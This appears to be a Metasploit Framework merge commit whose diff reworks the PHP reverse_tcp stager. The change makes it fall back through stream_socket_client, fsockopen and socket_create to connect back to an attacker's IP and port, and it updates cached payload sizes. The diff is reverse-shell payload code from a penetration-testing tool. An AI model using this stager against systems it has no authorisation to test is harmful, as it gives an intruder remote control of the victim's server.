Land rapid7#8691, Improve php reverse_tcp stager logic

Author: acammack-r7

lib/msf/core/payload/php/reverse_tcp.rb

@@ -60,15 +60,18 @@ def generate_reverse_tcp(opts={})
 if (($f = 'stream_socket_client') && is_callable($f)) {
 	$s = $f("tcp://{$ip}:{$port}");
 	$s_type = 'stream';
-} elseif (($f = 'fsockopen') && is_callable($f)) {
+}
+if (!$s && ($f = 'fsockopen') && is_callable($f)) {
 	$s = $f($ip, $port);
 	$s_type = 'stream';
-} elseif (($f = 'socket_create') && is_callable($f)) {
+}
+if (!$s && ($f = 'socket_create') && is_callable($f)) {
 	$s = $f(#{ipf}, SOCK_STREAM, SOL_TCP);
 	$res = @socket_connect($s, $ip, $port);
 	if (!$res) { die(); }
 	$s_type = 'socket';
-} else {
+}
+if (!$s_type) {
 	die('no socket funcs');
 }
 if (!$s) { die('no socket'); }

modules/payloads/stagers/php/reverse_tcp.rb

@@ -8,7 +8,7 @@
 
 module MetasploitModule
 
-  CachedSize = 951
+  CachedSize = 966
 
   include Msf::Payload::Stager
   include Msf::Payload::Php::ReverseTcp

modules/payloads/stagers/php/reverse_tcp_uuid.rb

@@ -8,7 +8,7 @@
 
 module MetasploitModule
 
-  CachedSize = 1125
+  CachedSize = 1140
 
   include Msf::Payload::Stager
   include Msf::Payload::Php::ReverseTcp